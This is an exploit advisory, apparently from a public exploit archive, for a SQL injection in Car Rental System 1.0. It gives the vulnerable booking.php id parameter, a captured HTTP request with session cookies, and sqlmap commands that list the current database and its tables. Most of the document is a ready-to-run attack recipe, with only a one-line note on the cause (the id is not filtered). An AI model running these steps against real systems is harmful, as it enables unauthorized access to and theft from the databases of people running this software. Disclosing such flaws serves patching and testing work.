Car Rental System version 1.0 suffers from a remote SQL injection vulnerability.
9971ec746ee3e611586ed62a8f4d62daf32403f03d5143116feeb5faa243f276
# Car Rental System SQL Injection
# Author: D4rkP0w4r
* Note => Login to customer
* Injection Point => http://192.168.1.101:8080/Car_Rental/booking.php?id=1
# Exploit
* Exploit with Sqlmap + Burp Suite
* Use Burp Suite capture request
* Then save as sqlicar.txt
GET /Car_Rental/booking.php?id=1 HTTP/1.1
Host: 192.168.1.101:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.101:8080/Car_Rental/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ci_session=jo7rsp3d4su5223o11544otrc44odm2l; PHPSESSID=5cddkjjvh5nhvqh96t306gau8b
Connection: close
* Exploit with Sqlmap
python3 sqlmap.py -r sqlicar.txt --current-db
python3 sqlmap.py -r sqlicar.txt -D carrentalp --tables
# Vulnerable Code
* No filter id when inserting data to database